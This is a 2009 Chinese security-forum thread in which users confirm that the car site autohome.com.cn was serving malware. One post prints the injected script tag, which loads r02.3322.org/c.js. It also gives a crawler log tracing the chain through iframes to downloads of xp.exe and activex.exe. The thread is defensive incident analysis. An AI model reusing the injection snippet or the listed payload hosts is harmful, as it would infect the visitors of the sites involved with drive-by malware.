汽车之家被挂马了？（确认挂马:by shadowmin）

alexme

http://www.autohome.com.cn

刚才浏览汽车之家，小红伞F版疯狂报警，似乎是被挂马了。在线的人赶快去看看。

[ 本帖最后由 tanlimo 于 2009-5-26 09:57 编辑 ]

einnawy

网盾也报了

alexme

晕，大半夜的汽车之家好像还有人在，我重启了一下电脑现在不报了。

binbinges

您开车来了，把马吓跑了

tanlimo

没发现异常

tanlimo

难道又是那种只有一次分析机会的挂马？

楼主能不能提供一下红伞的日志？

[ 本帖最后由 tanlimo 于 2009-5-26 01:54 编辑 ]

ok_007

卡巴也报了

shadowmin

       <div class="default_s auto_distance_1">·<a href="http://www.autohome.com.cn/news/200905/61208.html<script src=http://r02.3322.org/c.js></script>">SONATA领翔2款新车上市<script src=http://r02.3322.org/c.js></script></a></div>

        
Log is generated by FreShow.
[wide]http://www.autohome.com.cn
    [frame]http://www.autohome.com.cn/tools/hometoplogin.html
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [ani]http://img.autohome.com.cn/news/index/indexgrade.gif)
    [script]http://www.autohome.com.cn/\"http://pv.autohome.com.cn/diqu.ashx?cityid=\"
    [script]http://r02.3322.org/c.js
        [frame]http://c5rvegg.8866.org/a/a100.htm
            [frame]http://c5rvegg.8866.org/a/163.htm
                [script]http://c5rvegg.8866.org/a/js.js
                    [frame]http://c5rvegg.8866.org/a/gg14.htm
                        [script]http://c5rvegg.8866.org/a/14.js
                            [object]http://exe316.com/web/xp.exe
                        [script]http://c5rvegg.8866.org/a/15.js
                        [script]http://c5rvegg.8866.org/a/16.js
                    [frame]http://c5rvegg.8866.org/a/ggfl.htm
                    [frame]http://c5rvegg.8866.org/a/ggff.htm
                    [frame]http://c5rvegg.8866.org/a/ggvod.htm
                    [frame]http://c5rvegg.8866.org/a/z.htm
                    [frame]http://c5rvegg.8866.org/a/e.htm
                    [frame]http://c5rvegg.8866.org/a/ggbb.htm
                    [frame]http://c5rvegg.8866.org/a/ggr.htm
                [frame]http://c5rvegg.8866.org/a/ggqm.htm
                    [object]http://bux3.3322.org/web/activex.exe
                    [object]http://bux3.3322.org/web/activex.exe
            [script]http://c5rvegg.8866.org/a/\"http:\/\/js.tongji.cn.yahoo.com\/1083501\/ystat.js\"
            [script]http://s31.cnzz.com/stat.php?id=1408284&web_id=1408284
        [frame]http://c5rvegg.8866.org/a/a100.htm
        [script]http://r02.3322.org/\"http:\/\/js.tongji.cn.yahoo.com\/908507\/ystat.js\"
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://r02.3322.org/c.js
    [script]http://33.pcpop.com/statistic/autojs/js/2276.js?temp=073501
    [script]http://car.autohome.com.cn/javascript/mainindex.js
    [script]http://img.autohome.com.cn/pvpv0.js
    [frame]http://www.autohome.com.cn/

[ 本帖最后由 shadowmin 于 2009-5-26 07:52 编辑 ]

cchao21

已清除了。

tanlimo

从8楼主分析来看挂得应该是很多很明显的，但是我分析时则是什么也没发现，估计这个挂马跟服务器内部的arp有关。